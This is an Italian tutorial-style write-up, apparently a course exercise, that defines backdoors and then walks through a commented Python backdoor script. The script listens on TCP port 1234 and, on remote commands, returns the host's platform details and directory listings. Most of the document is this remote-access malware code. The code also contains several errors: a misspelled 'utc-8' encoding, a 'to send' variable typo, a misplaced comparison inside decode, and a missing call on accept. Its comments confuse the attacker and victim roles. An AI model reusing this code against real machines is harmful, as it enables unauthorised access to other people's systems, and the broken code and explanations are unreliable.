## **Backdoor.py**

## Cosa significa Backdoor?

Una backdoor è una strategia all'interno di un sistema che consente a chi conosce come attivarla di assumere il completo controllo di un sistema apparentemente a accesso esclusivo. Durante lo sviluppo di un software, potrebbe essere indispensabile creare un accesso nascosto per motivi di manutenzione a parametri generalmente non accessibili agli utenti. Questo accesso deve essere ben occultato e una backdoor può essere utilizzata per accedere ai dati tramite questa via secondaria. La backdoor è controllata da remoto.

## Commento del programma .py



## **Spiegazione scritta:**

import socket, platform, os #Qui si importano tutti i moduli necessari per il corretto svolgimento del programma

```
SRV_ADDR = "" #Si definisce l'indirizzo IP dell'attaccante (in questo caso non è stato inserito)

SRV_PORT = 1234 #Si definisce la porta dell'attaccante

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Creazione di un socket denominato "s" definendo con AF_INET l'IPv4 e con SOCK_STREAM il protocollo TCP

s.bind((SRV_ADDR, SRV_PORT)) #Si collega al socket "s" l'indirizzo IPv4 alla porta 1234

s.listen(1) #Qui viene proprio messo in ascolto il socket "s" con MASSIMO 1 connessione

connection, address = s.accept() #Appena la connessione è stabilita, restituisce una tupla dove "connection" è un oggetto socket da utilizzare per la comunicazione con il client, e "address" è il suo indirizzo.
```

```
print ("CLient connected: ", address) #Stampa a video l'indirizzo IPv4 della "vittima"
while 1: #Inizio del ciclo while sempre vero (while True)
  try:
    data = connection.recv(1024) #Riceveremo un feedback da max 1024bytes per non esagerare
  except:continue
  if (data.decode('utc-8') == '1'): #Decodifica la stringa ottenuta in unicode, se è 1 allora:
    tosend = platform.platform() + " " + platform.machine() #Definisce la variabile "tosend" come stringa contenente più info possibili sulla macchina attaccata + il
tipo esempio "AMD64"
    connection.sendall(tosend.encode()) #Invia dati all'indirizzo cui il socket è connesso. bytes è una stringa binaria che contiene i dati da inviare
  elif (data.decode('utf-8') == '2'): #Decodifica la stringa ottenuta in unicode, se è 2 allora:
    data = connection.recv(1024) #Riceveremo un feedback da max 1024bytes per non esagerare
    try:
       filelist = os.listdir(data.decode('utf-8')) #Riceveremo in formato leggibile unicode le informazioni riguardanti le cartelle e files contenute nel percorso in atto
       tosend = ""
       for x in filelist: #Per ogni file verrà mandato all'attaccante in formato leggibile
         tosend += "," + x
    except:
       tosend = "Wrong path"
    connection.sendall(to send.encode())\\
  elif(data.decode('utf-8' == '0')): #Se invece si riceverà 0 la connessione verrà chiusa
    connection.close() #Chiusura connessione
    connection, address = s.accept #Si ripete
```